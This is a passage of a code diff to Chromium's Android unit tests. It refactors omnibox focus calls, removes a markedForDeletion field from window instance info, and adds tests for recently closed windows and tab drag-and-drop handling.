-                            /* selectText= */ false,
-                            OmniboxFocusReason.FAKE_BOX_LONG_PRESS,
-                            AutocompleteRequestType.SEARCH);
+                            new AutocompleteInput()
+                                    .setUserText(SEARCH_TERMS_URL)
+                                    .setFocusReason(OmniboxFocusReason.FAKE_BOX_LONG_PRESS));
                 });
         assertTrue(getLocationBarMediator().isUrlBarFocused());
         assertTrue(getLocationBarMediator().didFocusUrlFromFakebox());
@@ -157,11 +155,9 @@
         ThreadUtils.runOnUiThreadBlocking(
                 () -> {
                     locationBarMediator.setUrlBarFocus(
-                            /* shouldBeFocused= */ true,
-                            SEARCH_TERMS,
-                            /* selectText= */ false,
-                            OmniboxFocusReason.SEARCH_QUERY,
-                            AutocompleteRequestType.SEARCH);
+                            new AutocompleteInput()
+                                    .setUserText(SEARCH_TERMS_URL)
+                                    .setFocusReason(OmniboxFocusReason.SEARCH_QUERY));
                 });
         assertTrue(getLocationBarMediator().isUrlBarFocused());
         assertTrue(getLocationBarMediator().didFocusUrlFromFakebox());
@@ -171,12 +167,7 @@
 
         ThreadUtils.runOnUiThreadBlocking(
                 () -> {
-                    locationBarMediator.setUrlBarFocus(
-                            /* shouldBeFocused= */ false,
-                            null,
-                            /* selectText= */ false,
-                            OmniboxFocusReason.UNFOCUS,
-                            AutocompleteRequestType.SEARCH);
+                    locationBarMediator.setUrlBarFocus(null);
                 });
         assertFalse(getLocationBarMediator().isUrlBarFocused());
         assertFalse(getLocationBarMediator().didFocusUrlFromFakebox());
@@ -186,11 +177,7 @@
         ThreadUtils.runOnUiThreadBlocking(
                 () -> {
                     locationBarMediator.setUrlBarFocus(
-                            /* shouldBeFocused= */ true,
-                            null,
-                            /* selectText= */ false,
-                            OmniboxFocusReason.OMNIBOX_TAP,
-                            AutocompleteRequestType.SEARCH);
+                            new AutocompleteInput().setFocusReason(OmniboxFocusReason.OMNIBOX_TAP));
                 });
         assertTrue(getLocationBarMediator().isUrlBarFocused());
         assertFalse(getLocationBarMediator().didFocusUrlFromFakebox());
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerTrackerImplUnitTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerTrackerImplUnitTest.java
index 20f444f4..aff2561 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerTrackerImplUnitTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerTrackerImplUnitTest.java
@@ -60,12 +60,12 @@
     public void testDestroy() {
         RecentlyClosedEntriesManager manager =
                 mTracker.obtainManager(mMultiInstanceManager, mTabModelSelector);
-        assertTrue(mTracker.getManagersForTesting().contains(manager));
+        assertTrue(mTracker.getManagers().contains(manager));
 
         mTracker.destroy(manager);
 
         verify(mRecentlyClosedTabManager).destroy();
-        assertFalse(mTracker.getManagersForTesting().contains(manager));
+        assertFalse(mTracker.getManagers().contains(manager));
     }
 
     @Test
@@ -89,8 +89,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 3,
-                        /* markedForDeletion= */ true);
+                        /* closureTime= */ 3);
         mTracker.onInstancesClosed(
                 Collections.singletonList(info), /* isPermanentDeletion= */ false);
 
@@ -118,8 +117,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 3,
-                        /* markedForDeletion= */ true);
+                        /* closureTime= */ 3);
         mTracker.onInstancesClosed(
                 Collections.singletonList(info), /* isPermanentDeletion= */ false);
         assertEquals(1, manager1.getRecentlyClosedEntries().size());
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerUnitTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerUnitTest.java
index c77f0f2..a304d49 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerUnitTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerUnitTest.java
@@ -12,10 +12,14 @@
 import static org.mockito.ArgumentMatchers.anyInt;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.when;
 
+import android.content.Context;
+import android.util.Pair;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -29,7 +33,12 @@
 import org.robolectric.annotation.Config;
 
 import org.chromium.base.FakeTimeTestRule;
+import org.chromium.base.JniOnceCallback;
 import org.chromium.base.TimeUtils;
+import org.chromium.base.lifetime.Destroyable;
+import org.chromium.base.supplier.OneshotSupplier;
+import org.chromium.base.task.PostTask;
+import org.chromium.base.task.TaskTraits;
 import org.chromium.base.test.BaseRobolectricTestRunner;
 import org.chromium.base.test.util.CallbackHelper;
 import org.chromium.base.test.util.Features.DisableFeatures;
@@ -37,20 +46,28 @@
 import org.chromium.chrome.browser.RecentlyClosedEntriesManager;
 import org.chromium.chrome.browser.RecentlyClosedEntriesManagerTrackerFactory;
 import org.chromium.chrome.browser.RecentlyClosedEntriesManagerTrackerImpl;
+import org.chromium.chrome.browser.app.tabwindow.TabWindowManagerSingleton;
 import org.chromium.chrome.browser.flags.ChromeFeatureList;
 import org.chromium.chrome.browser.multiwindow.InstanceInfo;
 import org.chromium.chrome.browser.multiwindow.MultiInstanceManager;
 import org.chromium.chrome.browser.multiwindow.MultiInstanceManager.CloseWindowAppSource;
 import org.chromium.chrome.browser.multiwindow.MultiInstanceManager.NewWindowAppSource;
-import org.chromium.chrome.browser.multiwindow.MultiInstanceManager.PersistedInstanceType;
 import org.chromium.chrome.browser.multiwindow.MultiWindowUtils;
 import org.chromium.chrome.browser.ntp.RecentlyClosedEntry;
 import org.chromium.chrome.browser.ntp.RecentlyClosedTabManager;
 import org.chromium.chrome.browser.ntp.RecentlyClosedWindow;
 import org.chromium.chrome.browser.ntp.SessionRecentlyClosedEntry;
 import org.chromium.chrome.browser.profiles.Profile;
+import org.chromium.chrome.browser.profiles.ProfileProvider;
+import org.chromium.chrome.browser.tabmodel.NextTabPolicy.NextTabPolicySupplier;
+import org.chromium.chrome.browser.tabmodel.PersistentStoreMigrationManager;
+import org.chromium.chrome.browser.tabmodel.TabCreatorManager;
 import org.chromium.chrome.browser.tabmodel.TabModel;
 import org.chromium.chrome.browser.tabmodel.TabModelSelector;
+import org.chromium.chrome.browser.tabwindow.TabModelSelectorFactory;
+import org.chromium.chrome.browser.tabwindow.TabWindowManager;
+import org.chromium.chrome.browser.tabwindow.WindowId;
+import org.chromium.ui.modaldialog.ModalDialogManager;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -70,6 +87,7 @@
     @Mock MultiInstanceManager mMultiInstanceManager;
     @Mock RecentlyClosedTabManager mRecentlyClosedTabManager;
     @Mock TabModelSelector mTabModelSelector;
+    @Mock TabWindowManager mTabWindowManager;
     @Mock TabModel mTabModel;
     @Mock Profile mProfile;
 
@@ -198,8 +216,7 @@
         // Create two separate lists (windows and session entries) with chronologically interleaved
         // timestamps.
         int totalEntries = 0;
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(null);
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(null);
         createRecentlyClosedWindows(/* numOfWindows= */ totalEntries);
         when(mRecentlyClosedTabManager.getRecentlyClosedEntries(anyInt())).thenReturn(null);
 
@@ -451,8 +468,7 @@
     @Test
     public void testOpenMostRecentlyClosedEntry_NoEntries() {
         when(mTabModel.getMostRecentClosureTime()).thenReturn(-1L);
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(new ArrayList<>());
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(new ArrayList<>());
 
         mRecentlyClosedEntriesManager.openMostRecentlyClosedEntry(NewWindowAppSource.OTHER);
         verify(mTabModel, never()).openMostRecentlyClosedEntry();
@@ -462,8 +478,7 @@
     @Test
     public void testOpenMostRecentlyClosedEntry_NoWindowEntries() {
         when(mTabModel.getMostRecentClosureTime()).thenReturn(2L);
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(new ArrayList<>());
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(new ArrayList<>());
 
         mRecentlyClosedEntriesManager.openMostRecentlyClosedEntry(NewWindowAppSource.OTHER);
         verify(mTabModel).openMostRecentlyClosedEntry();
@@ -486,10 +501,8 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 3,
-                        /* markedForDeletion= */ true));
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(instanceInfoList);
+                        /* closureTime= */ 3));
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(instanceInfoList);
 
         mRecentlyClosedEntriesManager.openMostRecentlyClosedEntry(
                 NewWindowAppSource.KEYBOARD_SHORTCUT);
@@ -515,10 +528,8 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 2,
-                        /* markedForDeletion= */ true));
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(instanceInfoList);
+                        /* closureTime= */ 2));
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(instanceInfoList);
 
         mRecentlyClosedEntriesManager.openMostRecentlyClosedEntry(NewWindowAppSource.OTHER);
         verify(mTabModel).openMostRecentlyClosedEntry();
@@ -545,10 +556,8 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 3,
-                        /* markedForDeletion= */ true));
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(instanceInfoList);
+                        /* closureTime= */ 3));
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(instanceInfoList);
 
         mRecentlyClosedEntriesManager.openMostRecentlyClosedEntry(
                 NewWindowAppSource.KEYBOARD_SHORTCUT);
@@ -577,10 +586,8 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 3,
-                        /* markedForDeletion= */ true));
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(instanceInfoList);
+                        /* closureTime= */ 3));
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(instanceInfoList);
 
         mRecentlyClosedEntriesManager.openMostRecentlyClosedEntry(NewWindowAppSource.OTHER);
         verify(mTabModel).openMostRecentlyClosedEntry();
@@ -968,8 +975,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 2,
-                        /* markedForDeletion= */ true));
+                        /* closureTime= */ 2));
         instanceInfoList.add(
                 new InstanceInfo(
                         /* instanceId= */ 1,
@@ -982,10 +988,8 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 3,
-                        /* markedForDeletion= */ true));
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(instanceInfoList);
+                        /* closureTime= */ 3));
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(instanceInfoList);
 
         mRecentlyClosedEntriesManager.updateRecentlyClosedEntries();
 
@@ -1014,8 +1018,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 2,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ true));
+                        /* closureTime= */ 0));
         instanceInfoList.add(
                 new InstanceInfo(
                         /* instanceId= */ 1,
@@ -1028,8 +1031,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 3,
-                        /* markedForDeletion= */ true));
+                        /* closureTime= */ 3));
         instanceInfoList.add(
                 new InstanceInfo(
                         /* instanceId= */ 2,
@@ -1042,10 +1044,8 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 1,
-                        /* closureTime= */ 1,
-                        /* markedForDeletion= */ true));
-        when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE))
-                .thenReturn(instanceInfoList);
+                        /* closureTime= */ 1));
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(instanceInfoList);
 
         mRecentlyClosedEntriesManager.updateRecentlyClosedEntries();
 
@@ -1058,6 +1058,53 @@
         assertEquals(1, entries.get(2).getDate().getTime());
     }
 
+    @Test
+    public void testGetRecentlyClosedWindowInternal() {
+        // Set up test with a single closed window.
+        createRecentlyClosedWindows(/* numOfWindows= */ 1);
+        mRecentlyClosedEntriesManager.updateRecentlyClosedEntries();
+
+        // Mock out our dependencies. Always return mTabModelSelector.
+        TabWindowManagerSingleton.setTabModelSelectorFactoryForTesting(
+                new TabModelSelectorFactory() {
+                    @Override
+                    public TabModelSelector buildTabbedSelector(
+                            Context context,
+                            ModalDialogManager modalDialogManager,
+                            OneshotSupplier<ProfileProvider> profileProviderSupplier,
+                            TabCreatorManager tabCreatorManager,
+                            NextTabPolicySupplier nextTabPolicySupplier,
+                            MultiInstanceManager multiInstanceManager) {
+                        return mTabModelSelector;
+                    }
+
+                    @Override
+                    public Pair<TabModelSelector, Destroyable> buildHeadlessSelector(
+                            @WindowId int windowId,
+                            Profile profile,
+                            PersistentStoreMigrationManager migrationManager) {
+                        return Pair.create(null, null);
+                    }
+                });
+        when(mTabModelSelector.isTabStateInitialized()).thenReturn(true);
+        when(mTabModelSelector.getCurrentModel()).thenReturn(mTabModel);
+
+        // Always return mTabWindowManager.
+        TabWindowManagerSingleton.setTabWindowManagerForTesting(mTabWindowManager);
+        when(mTabWindowManager.getTabModelSelectorById(anyInt())).thenReturn(mTabModelSelector);
+
+        // Invoke the getRecentlyClosed() method with a callback.
+        JniOnceCallback<TabModel> callback = mock();
+        mRecentlyClosedEntriesManager.getRecentlyClosedWindowInternal(callback);
+
+        // The callback is invoked via task with the appropriate tab model.
+        PostTask.postTask(
+                TaskTraits.UI_DEFAULT,
+                () -> {
+                    verify(callback).onResult(mTabModel);
+                });
+    }
+
     /**
      * Creates a list of synthetic {@code SessionRecentlyClosedEntry} objects for testing purposes.
      *
@@ -1111,13 +1158,12 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ closureTime - 1,
-                            closureTime,
-                            /* markedForDeletion= */ true);
+                            closureTime);
             instanceInfoList.add(0, instanceInfo);
             instanceId += 2;
             closureTime += 2;
         }
-        when(mMultiInstanceManager.getInstanceInfo(anyInt())).thenReturn(instanceInfoList);
+        when(mMultiInstanceManager.getRecentlyClosedInstances()).thenReturn(instanceInfoList);
     }
 
     private static long getDaysAgoMillis(int numDaysAgo) {
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/TabContextMenuCoordinatorUnitTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/TabContextMenuCoordinatorUnitTest.java
index 6d748ee3..b56163f 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/TabContextMenuCoordinatorUnitTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/TabContextMenuCoordinatorUnitTest.java
@@ -153,8 +153,7 @@
                     NUM_INCOGNITO_TABS,
                     /* isIncognitoSelected= */ false,
                     LAST_ACCESSED_TIME,
-                    /* closureTime= */ 0,
-                    /* markedForDeletion= */ false);
+                    /* closureTime= */ 0);
 
     private static final InstanceInfo INSTANCE_INFO_2 =
             new InstanceInfo(
@@ -168,8 +167,7 @@
                     NUM_INCOGNITO_TABS,
                     /* isIncognitoSelected= */ false,
                     LAST_ACCESSED_TIME,
-                    /* closureTime= */ 0,
-                    /* markedForDeletion= */ false);
+                    /* closureTime= */ 0);
 
     @Rule public MockitoRule mMockitoRule = MockitoJUnit.rule();
 
@@ -1360,8 +1358,7 @@
                         NUM_INCOGNITO_TABS,
                         /* isIncognitoSelected= */ false,
                         LAST_ACCESSED_TIME,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false);
+                        /* closureTime= */ 0);
 
         MultiWindowUtils.setInstanceCountForTesting(2);
         when(mMultiInstanceManager.getInstanceInfo(ACTIVE))
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/TabGroupContextMenuCoordinatorUnitTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/TabGroupContextMenuCoordinatorUnitTest.java
index 406d694..bc3d0ea 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/TabGroupContextMenuCoordinatorUnitTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/TabGroupContextMenuCoordinatorUnitTest.java
@@ -151,8 +151,7 @@
                     NUM_INCOGNITO_TABS,
                     /* isIncognitoSelected= */ false,
                     LAST_ACCESSED_TIME,
-                    /* closureTime= */ 0,
-                    /* markedForDeletion= */ false);
+                    /* closureTime= */ 0);
 
     private static final InstanceInfo INSTANCE_INFO_2 =
             new InstanceInfo(
@@ -166,8 +165,7 @@
                     NUM_INCOGNITO_TABS,
                     /* isIncognitoSelected= */ false,
                     LAST_ACCESSED_TIME,
-                    /* closureTime= */ 0,
-                    /* markedForDeletion= */ false);
+                    /* closureTime= */ 0);
 
     // Other dependencies
     @Mock private Profile mProfile;
@@ -981,8 +979,7 @@
                         NUM_INCOGNITO_TABS,
                         /* isIncognitoSelected= */ false,
                         LAST_ACCESSED_TIME,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false);
+                        /* closureTime= */ 0);
 
         setUpTabGroupModelFilter();
         MultiWindowUtils.setInstanceCountForTesting(2);
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/reorder/TabStripDragHandlerTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/reorder/TabStripDragHandlerTest.java
index d123c6a..481a48fb 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/reorder/TabStripDragHandlerTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/compositor/overlays/strip/reorder/TabStripDragHandlerTest.java
@@ -1134,6 +1134,49 @@
                                 DragEvent.ACTION_DRAG_STARTED, POS_X, mPosY, DragType.SINGLE_TAB)));
     }
 
+    @Test
+    public void test_onDrop_ChromeHandledDrop() {
+        // Drop in destination strip.
+        new DragEventInvoker(DragType.SINGLE_TAB, /* isGroupShared= */ false)
+                .dragExit(mSourceInstance)
+                .dragEnter(mDestInstance)
+                .drop(mDestInstance)
+                .verifyNotifyChromeHandledDrop(/* didChromeHandleDrop= */ true)
+                .end(/* res= */ true);
+
+        // Verify the #onDragEnd runnable is not posted.
+        assertFalse(
+                "#onDragEnd runnable should not be posted.",
+                mSourceInstance
+                        .getHandlerForTesting()
+                        .hasCallbacks(mSourceInstance.getOnDragEndRunnableForTesting()));
+    }
+
+    @Test
+    public void test_onDrop_ChromeDidNotHandleDrop() {
+        // End without dropping on either strip.
+        new DragEventInvoker(DragType.SINGLE_TAB, /* isGroupShared= */ false)
+                .dragExit(mSourceInstance)
+                .dragEnter(mDestInstance)
+                .verifyNotifyChromeHandledDrop(/* didChromeHandleDrop= */ false)
+                .end(/* res= */ true);
+
+        // Verify that the #onDragEnd runnable is posted.
+        assertTrue(
+                "#onDragEnd runnable should not be posted.",
+                mSourceInstance
+                        .getHandlerForTesting()
+                        .hasCallbacks(mSourceInstance.getOnDragEndRunnableForTesting()));
+
+        // Start a new drag and verify that the #onDragEnd runnable was removed.
+        new DragEventInvoker(DragType.SINGLE_TAB, /* isGroupShared= */ false);
+        assertFalse(
+                "#onDragEnd runnable should not be posted.",
+                mSourceInstance
+                        .getHandlerForTesting()
+                        .hasCallbacks(mSourceInstance.getOnDragEndRunnableForTesting()));
+    }
+
     private void doTestOnDragDropInStripSource(boolean isGroupDrag) {
         String resultHistogram =
                 String.format(
@@ -2020,6 +2063,14 @@
                             .getShadowShownForTesting());
             return this;
         }
+
+        public DragEventInvoker verifyNotifyChromeHandledDrop(boolean didChromeHandleDrop) {
+            assertEquals(
+                    "Unexpected value for #didChromeHandleDrop.",
+                    didChromeHandleDrop,
+                    DragDropGlobalState.didChromeHandleDrop());
+            return this;
+        }
     }
 
     private DragEvent mockDragEndEvent(boolean res, DragType dragType) {
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/dragdrop/ChromeTabbedOnDragListenerUnitTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/dragdrop/ChromeTabbedOnDragListenerUnitTest.java
index 5ab8adc..f1118859 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/dragdrop/ChromeTabbedOnDragListenerUnitTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/dragdrop/ChromeTabbedOnDragListenerUnitTest.java
@@ -234,6 +234,12 @@
                                 /* result= */ false,
                                 isGroupDrag,
                                 isMultiTabDrag)));
+
+        // Assert we do not notify that Chrome has handled the drop.
+        assertFalse(
+                "Should not notify that Chrome handled drop when false returned.",
+                DragDropGlobalState.didChromeHandleDrop());
+
         // Verify histograms.
         histogramExpectation.assertExpected();
     }
@@ -271,6 +277,7 @@
                         .expectNoRecords("Android.DragDrop.TabGroup.Type.DesktopWindow")
                         .build();
         setGlobalStateData(isGroupDrag, isMultiTabDrag);
+
         // Call drag start to set states.
         assertTrue(
                 "Drag started should return true.",
@@ -281,6 +288,7 @@
                                 /* result= */ false,
                                 isGroupDrag,
                                 isMultiTabDrag)));
+
         // Drop should return false, since the destination instance is the same as the source
         // instance.
         when(mLayoutStateProvider.isLayoutVisible(LayoutType.TAB_SWITCHER)).thenReturn(false);
@@ -293,6 +301,12 @@
                                 /* result= */ false,
                                 isGroupDrag,
                                 isMultiTabDrag)));
+
+        // Assert we do notify that Chrome has handled the drop.
+        assertFalse(
+                "Should not notify that Chrome handled drop when false returned.",
+                DragDropGlobalState.didChromeHandleDrop());
+
         // Verify histograms.
         histogramExpectation.assertExpected();
     }
@@ -454,6 +468,12 @@
                                 /* result= */ false,
                                 isGroupDrag,
                                 isMultiTabDrag)));
+
+        // Assert we do notify that Chrome has handled the drop.
+        assertTrue(
+                "Should notify that Chrome handled drop when true returned.",
+                DragDropGlobalState.didChromeHandleDrop());
+
         histogramWatcher.assertExpected();
     }
 
@@ -583,6 +603,11 @@
                                 /* result= */ false,
                                 isGroupDrag,
                                 isMultiTabDrag)));
+
+        // Assert we do not notify that Chrome has handled the drop.
+        assertFalse(
+                "Should not notify that Chrome handled drop when false returned.",
+                DragDropGlobalState.didChromeHandleDrop());
     }
 
     private DragEvent mockDragEvent(
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31UnitTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31UnitTest.java
index f28c66f..cf087fbe 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31UnitTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31UnitTest.java
@@ -321,8 +321,7 @@
                                 /* incognitoTabCount= */ 0,
                                 /* isIncognitoSelected= */ false,
                                 MultiInstancePersistentStore.readLastAccessedTime(instanceId),
-                                MultiInstancePersistentStore.readClosureTime(instanceId),
-                                /* markedForDeletion= */ false));
+                                MultiInstancePersistentStore.readClosureTime(instanceId)));
             }
         }
 
@@ -587,7 +586,7 @@
                 INVALID_WINDOW_ID, allocInstanceIndex(PASSED_ID_INVALID, mActivityPool[index]));
 
         // Activity ID 1 gets removed from memory.
-        softCloseInstance(mActivityPool[1], 1);
+        softCloseInstance(mActivityPool[1]);
 
         // We allocated max number of instances already. Activity Id 1 is was removed but
         // remains mapped to a task still alive. No more new allocation is possible.
@@ -607,7 +606,7 @@
             assertEquals(index, allocInstanceIndex(PASSED_ID_INVALID, mActivityPool[index]));
         }
 
-        softCloseInstance(mActivityPool[1], 1);
+        softCloseInstance(mActivityPool[1]);
 
         // New instance is assigned the instance ID 1 again when the associated task is
         // brought foreground and attempts to recreate the activity.
@@ -789,7 +788,7 @@
         assertEquals(3, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
 
         // Activity destroyed in the background due to memory constraint has no impact either.
-        softCloseInstance(mActivityTask57, TASK_ID_57);
+        softCloseInstance(mActivityTask57);
         assertEquals(3, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
 
         // Closing an instance removes the entry.
@@ -817,7 +816,7 @@
         assertEquals(3, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
 
         // Activity destroyed in the background due to memory constraint has no impact.
-        softCloseInstance(mActivityTask57, TASK_ID_57);
+        softCloseInstance(mActivityTask57);
         assertEquals(3, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
 
         // Removing a task from recent screen cleans up the incognito window.
@@ -850,22 +849,85 @@
         assertEquals(3, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
 
         // Trigger a soft closure on this window.
-        softCloseInstance(mActivityTask57, TASK_ID_57);
+        softCloseInstance(mActivityTask57);
         assertEquals(3, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
 
-        // Soft closing an instance does not remove the entry.
+        // Soft closing an instance does not delete persisted state for the entry.
         mMultiInstanceManager.closeWindows(
                 Collections.singletonList(1), CloseWindowAppSource.WINDOW_MANAGER);
         List<InstanceInfo> instanceInfoList =
                 mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY);
-        assertEquals(3, instanceInfoList.size());
-        for (InstanceInfo instanceInfo : instanceInfoList) {
-            if (instanceInfo.instanceId == 1) {
-                assertTrue(instanceInfo.markedForDeletion);
-            } else {
-                assertFalse(instanceInfo.markedForDeletion);
-            }
-        }
+        assertEquals(2, instanceInfoList.size());
+        assertTrue(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 1));
+        assertFalse(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 0));
+        assertFalse(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 2));
+    }
+
+    @Test
+    public void testGetRecentlyClosedInstances() {
+        assertEquals(0, allocInstanceIndex(PASSED_ID_INVALID, mActivityTask56));
+        assertEquals(1, allocInstanceIndex(PASSED_ID_INVALID, mActivityTask57));
+        assertEquals(2, allocInstanceIndex(PASSED_ID_INVALID, mActivityTask58));
+
+        // Make instance1 inactive, but still usable.
+        removeTaskOnRecentsScreen(mActivityTask57);
+
+        // Close instance2 from the window manager, this should make it inactive and unusable (ie.
+        // marked for deletion).
+        mMultiInstanceManager.closeWindows(List.of(2), CloseWindowAppSource.WINDOW_MANAGER);
+        destroyActivity(mActivityTask58);
+
+        // Verify #getInstanceInfo() lists.
+        List<InstanceInfo> activeInstances =
+                mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ACTIVE);
+        List<InstanceInfo> inactiveUsableInstances =
+                mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE);
+        assertEquals(
+                "Total # of usable instances is incorrect.",
+                2,
+                mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
+        assertEquals("# of active instances is incorrect.", 1, activeInstances.size());
+        assertEquals(
+                "# of inactive, usable instances is incorrect.", 1, inactiveUsableInstances.size());
+        assertEquals("Instance 0 should be active.", 0, activeInstances.get(0).instanceId);
+        assertEquals(
+                "Instance 1 should be inactive.", 1, inactiveUsableInstances.get(0).instanceId);
+
+        // Verify #getRecentlyClosedInstances() list.
+        List<InstanceInfo> closedInstances = mMultiInstanceManager.getRecentlyClosedInstances();
+        assertEquals(2, closedInstances.size());
+    }
+
+    @Test
+    @EnableFeatures(ChromeFeatureList.ANDROID_OPEN_INCOGNITO_AS_WINDOW)
+    public void testGetRecentlyClosedInstances_excludesIncognitoWindows() {
+        IncognitoUtils.setShouldOpenIncognitoAsWindowForTesting(true);
+        assertEquals(0, allocInstanceIndex(PASSED_ID_INVALID, mActivityTask56));
+        assertEquals(1, allocInstanceIndex(1, mActivityTask57));
+        MultiInstancePersistentStore.writeProfileType(1, SupportedProfileType.OFF_THE_RECORD);
+
+        // Make instance1 inactive, but still usable.
+        removeTaskOnRecentsScreen(mActivityTask57);
+
+        // Verify #getInstanceInfo() lists.
+        List<InstanceInfo> activeInstances =
+                mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ACTIVE);
+        List<InstanceInfo> inactiveUsableInstances =
+                mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE);
+        assertEquals(
+                "Total # of usable instances is incorrect.",
+                2,
+                mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
+        assertEquals("# of active instances is incorrect.", 1, activeInstances.size());
+        assertEquals(
+                "# of inactive, usable instances is incorrect.", 1, inactiveUsableInstances.size());
+        assertEquals("Instance 0 should be active.", 0, activeInstances.get(0).instanceId);
